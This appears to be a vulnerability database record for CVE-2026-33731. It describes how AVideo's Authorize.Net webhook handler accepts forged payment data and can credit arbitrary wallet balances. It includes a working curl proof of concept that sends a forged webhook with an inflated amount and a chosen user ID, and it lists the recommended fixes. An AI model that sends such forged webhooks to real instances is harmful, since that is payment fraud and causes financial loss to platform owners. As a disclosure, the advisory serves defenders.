{"id":"CVE-2026-33731","aliases":["GHSA-95jh-7r58-xmxw"],"url":"https://o3.security/vulnerability/CVE-2026-33731","summary":"AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data","details":"## Summary\n\nThe Authorize.Net webhook handler at `plugin/AuthorizeNet/webhook.php` contains a signature verification bypass that allows an attacker to forge webhook requests with arbitrary payment amounts and target user IDs. By supplying a valid transaction ID from a small legitimate purchase, the attacker bypasses signature validation and credits arbitrary wallet balances to any user account via attacker-controlled payload fields.\n\n## Details\n\nThree flaws combine into an exploit chain:\n\n### 1. Signature Bypass via OR Logic (webhook.php:33)\n\n```php\nif (!$parsed['signatureValid'] && (empty($txnInfo) || !empty($txnInfo['error']))) {\n    http_response_code(401);\n    echo 'invalid signature';\n    exit;\n}\n```\n\nThe webhook is rejected only when **both** conditions are true: the signature is invalid **AND** the transaction lookup fails. If the attacker supplies a real transaction ID (e.g., from their own $1 purchase), `getTransactionDetails()` succeeds and returns valid data, so the second condition is false. The invalid signature is silently ignored.\n\n### 2. Payload Values Override API-Fetched Values (AuthorizeNet.php:169-171, webhook.php:44-48)\n\nIn `analyzeTransactionFromWebhook()`, `users_id` and `amount` are extracted from the attacker-controlled webhook **payload** first:\n\n```php\n$users_id = isset($metadata['users_id']) ? (int)$metadata['users_id'] : null;\n$amount   = isset($payload['amount']) ? (float)$payload['amount'] : ...;\n```\n\nThe fallback logic in webhook.php only applies when the analysis values are empty/falsy:\n\n```php\nif (!$analysis['users_id'] && !empty($txnInfo['users_id'])) {\n    $analysis['users_id'] = (int)$txnInfo['users_id'];\n}\nif (!$analysis['amount'] && isset($txnInfo['amount'])) {\n    $analysis['amount'] = (float)$txnInfo['amount'];\n}\n```\n\nSince the forged payload already provides both values, the authoritative API-fetched values are never used.\n\n### 3. Missing Approval Check (webhook.php:61-75)\n\nThe code checks only that `users_id` and `amount` are non-empty before calling `processSinglePayment()`. The `isApproved` field is computed in `analyzeTransactionFromWebhook()` (line 222-228) but **never verified** before crediting the wallet at line 68-75.\n\n## PoC\n\n**Prerequisites:** Attacker has a low-privileged account on the AVideo instance and has made at least one legitimate small Authorize.Net purchase (e.g., $1.00), noting the transaction ID (e.g., `60123456789`).\n\n1. Immediately after the purchase completes (to race the legitimate webhook), send a forged webhook:\n\n```bash\ncurl -X POST https://target.com/plugin/AuthorizeNet/webhook.php \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"eventType\": \"net.authorize.payment.authcapture.created\",\n    \"payload\": {\n      \"id\": \"60123456789\",\n      \"amount\": 99999.99,\n      \"responseCode\": 1,\n      \"metadata\": {\n        \"users_id\": 2\n      }\n    }\n  }'\n```\n\n2. The signature check fails (no `X-ANET-Signature` header), but `getTransactionDetails('60123456789')` succeeds because it is a real transaction. The OR condition on line 33 is not fully satisfied, so execution continues.\n\n3. `analyzeTransactionFromWebhook()` uses the forged payload's `amount: 99999.99` and `metadata.users_id: 2`.\n\n4. `processSinglePayment()` credits $99,999.99 to user ID 2's wallet via `addBalance()`.\n\n5. The dedup key is `sha1('net.authorize.payment.authcapture.created' . '60123456789')`, so the legitimate webhook arriving later is silently discarded as a duplicate.\n\n6. The attacker can repeat with new transaction IDs from additional small purchases for cumulative balance inflation.\n\n## Impact\n\n- **Wallet balance inflation:** Attacker credits arbitrary amounts to any user's wallet without corresponding payment, bypassing the payment gateway's actual charge amount.\n- **Premium content access:** Inflated wallet balance allows purchasing all paid/premium video content without real payment.\n- **Subscription fraud:** By including `plans_id` in forged metadata, the attacker can activate premium subscriptions (webhook.php:86-134) without corresponding payment.\n- **Financial loss:** Platform owner loses revenue from fraudulently accessed premium content and services.\n\n## Recommended Fix\n\n**1. Reject webhooks with invalid signatures unconditionally** — the transaction lookup should only be used for data enrichment *after* signature validation passes:\n\n```php\n// webhook.php line 33 — FIX: reject on invalid signature alone\nif (!$parsed['signatureValid']) {\n    _error_log('[Authorize.Net webhook] Bad signature');\n    http_response_code(401);\n    echo 'invalid signature';\n    exit;\n}\n```\n\n**2. Use API-fetched values as authoritative** — in webhook.php lines 44-55, invert the precedence so `$txnInfo` values always override payload values:\n\n```php\n// Always prefer API-fetched values over payload values\nif (!empty($txnInfo['users_id'])) {\n    $analysis['users_id'] = (int)$txnInfo['users_id'];\n}\nif (isset($txnInfo['amount'])) {\n    $analysis['amount'] = (float)$txnInfo['amount'];\n}\n```\n\n**3. Check `isApproved` before processing** — add a gate before `processSinglePayment()`:\n\n```php\nif (!$analysis['isApproved']) {\n    _error_log('[Authorize.Net webhook] Transaction not approved');\n    http_response_code(400);\n    echo 'transaction not approved';\n    exit;\n}\n```","published":"2026-07-16T20:46:53.407Z","modified":"2026-10-28T02:30:33.925635423Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"},"epss":{"score":0.00205,"percentile":0.10721,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":"29.0"}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/033e83ae904cacb99495dbea7cbcfb3738cf42e4","label":"WWBN/AVideo@033e83a"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33731.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-95jh-7r58-xmxw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33731"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/033e83ae904cacb99495dbea7cbcfb3738cf42e4"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:33.925635423Z"}}